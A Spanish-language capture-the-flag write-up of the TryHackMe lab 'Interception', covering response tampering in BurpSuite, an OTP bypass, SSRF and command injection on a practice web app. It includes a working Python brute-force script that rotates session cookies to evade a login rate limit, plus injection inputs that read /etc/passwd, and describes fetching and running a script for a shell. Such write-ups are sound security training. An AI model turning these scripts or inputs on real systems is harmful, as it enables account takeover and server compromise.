XUT_ / MACHINES / THM

0087

Interception

THMMACHINENONEMEDIUM

Introduction

interception

Usa BurpSuite o conocimiento sobre intercepciones para modificar el tráfico y pwnear la máquina.

MediaHub parece ser un portal de internet normal usado por periodistas para gestionar contenido. Parece que todo está protegido detrás de un sistema de login y verificación, pero la historia real radica en cómo la aplicación se comunica con las APIs del backend.

interception

Tu tarea es asumir el rol de atacante y observar el tráfico entre el navegador y el servidor. Usando tus habilidades proxy, intercepta peticiones, analiza cómo la aplicación las procesa y experimenta con la modificación de información que se manda.

Si entiendes el flujo suficientemente bien, un pequeño cambio en la petición puede ser lo que necesites para bypassear los controles.

Getting the Flags

Reconocimiento Inicial

Comenzamos analizando los puertos abiertos.

interception

Ahora vamos a escanear dichos puertos más en profundidad.

interception

Vamos a ver qué directorios tiene.

interception

Ahora vamos a ver cómo es la web.


Profundización

Vamos a meternos a mirar el código de la página.

interception

Parece que la página no está mirando si la respuesta es correcta, sino si no es errónea. Aquí puede haber algún problema. Vamos a abrir BurpSuite a ver qué nos encontramos.

interception

Esta es la petición. Ahora observamos la respuesta del servidor capturándola.

interception

Observamos la interacción.

interception

Parece que está mandando la comprobación al navegador y es este el que decide (aparentemente). Vamos a cambiar el:

json
{
	"ok":false,
	"error":"Invalid credentials."
}

Por:

json
{
	"ok":true
}

Y redireccionamos la respuesta.

interception

Observamos el navegador.

interception

Parece que algo no termina de funcionar. Vamos a volver atrás y a escanear un poco más. Después de rompernos la cabeza, damos con algo interesante:

interception

Ojo porque aquí podemos ver que hay una verificación de doble factor con un OTP. Vamos a ver qué hay en login.php.bak.

interception


Explotación

Bruteforceo de Contraseña

Vamos ahora a realizar un diccionario para probar.

bash
for i in {1900..2026}; do echo "MediaHub$i"; done > diccionario.txt

Con esta lista vamos a atacar el login.

interception

Aquí nos encontramos con un problema. El login se encuentra capado por un rate limit:

interception

Vemos que cada 4 peticiones dice que ha habido demasiados intentos, por lo que tendremos que hacer un exploit que cambie de COOKIE cada 4 intentos. De esa manera terminamos con este código:

python
import requests

URL = "http://interception.thm/api_login.php"
EMAIL = "admin@mediahub.thm"
WORDLIST = "pass_interception_admin.txt"

SESSION_LIMIT = 4

def nueva_sesion():
    session = requests.Session()

    session.headers.update({
        "User-Agent": "Mozilla/5.0",
        "Accept": "application/json, text/plain, */*"
    })

    # Entramos primero en login.php para obtener la sesión/cookies
    session.get(
        "http://interception.thm/login.php",
        timeout=10
    )

    print(
        f"[*] Nueva sesión. PHPSESSID: "
        f"{session.cookies.get('PHPSESSID')}"
    )

    return session

# Cargar diccionario
with open(WORDLIST, "r", encoding="utf-8", errors="ignore") as f:
    passwords = [line.strip() for line in f if line.strip()]

print(f"[*] Cargadas {len(passwords)} contraseñas.")
print("[*] Iniciando ataque...\n")

session = nueva_sesion()
intentos = 0

for password in passwords:

    # Nueva sesión cada 4 intentos
    if intentos >= SESSION_LIMIT:
        session = nueva_sesion()
        intentos = 0

    intentos += 1

    print(
        f"[~] Probando: {password} "
        f"(Intento {intentos}/{SESSION_LIMIT} con la sesión actual)"
    )

    try:
        response = session.post(
            URL,
            data={
                "email": EMAIL,
                "password": password
            },
            timeout=10
        )

    except requests.RequestException as e:
        print(f"[!] Error de conexión: {e}")
        continue

    # La API debería devolver JSON
    try:
        data = response.json()

    except ValueError:
        print("[!] La respuesta no es JSON.")
        print(f"    HTTP: {response.status_code}")
        print(f"    Respuesta: {response.text[:300]!r}")
        continue

    print(f"    HTTP: {response.status_code}")
    print(f"    JSON: {data}")

    # La propia página indica que api_login.php devuelve:
    # { "ok": false, "error": "Invalid credentials." }
    #
    # o, si es correcto:
    # { "ok": true, ... }

    if data.get("ok") is False:
        print(f"[-] Incorrecta: {password}\n")
        continue

    if data.get("ok") is True:
        print("\n" + "=" * 60)
        print(f"[+] POSIBLE CONTRASEÑA CORRECTA: {password}")
        print(f"[+] Respuesta: {data}")
        print("=" * 60)
        break

    print("[!] Respuesta inesperada de la API.\n")

else:
    print(
        "\n[-] Se terminó el diccionario "
        "y no se encontró la contraseña correcta."
    )

De esta manera encontramos la contraseña.

interception

Vamos a iniciar sesión y a ver qué es el OTP con BurpSuite.

interception

OTP Bypass

Vamos a ver qué se manda en la petición.

interception

Volvemos a interceptar la respuesta.

interception

Vamos a cambiarlo:

interception

No parece funcionar. Vamos a intentar mandar la variable is_verified ya corregida:

interception

Parece que esto sí funciona. Vamos a realizarlo en la petición del proxy.

interception

Y le damos a Forward All.

interception

Hemos conseguido la primera flag.

SSRF + Inyección de Comandos

En la página vemos un formulario que aparentemente envía una petición a una URL. Vamos a probar a ver si puede enviarla a nuestra máquina.

Nos ponemos en escucha.

interception

Y mandamos la petición.

interception

No nos deja. Vamos a probar con localhost.

interception

Vamos a probar una URL externa:

interception

Parece que esto sí le gusta. Está usando curl. Vamos a ver 127.0.0.1.

interception

Tampoco le vale, pero puede que esté filtrando exclusivamente y 127.1 también funciona como localhost.

interception

Esto sí que funciona y además vemos el puerto 80. Vamos a intentar una inyección de comandos.

interception

Parece que así no funciona. Vamos a intentar leer algún archivo con:

bash
http://127.1; file:///etc/passwd

interception

Si probamos a meterlo entre backticks, podemos ver que si funciona.

interception

Probando con $() vemos que también funciona.

interception

Vamos a intentar conseguir una reverse shell.

interception

No funciona, por lo que vamos a crear un script que descargaremos en la máquina y después ejecutaremos.

interception

De esta manera lo hemos descargado. Y ahora vamos a ejecutarlo.

interception

Hemos obtenido la shell. Vamos a buscar la flag.

interception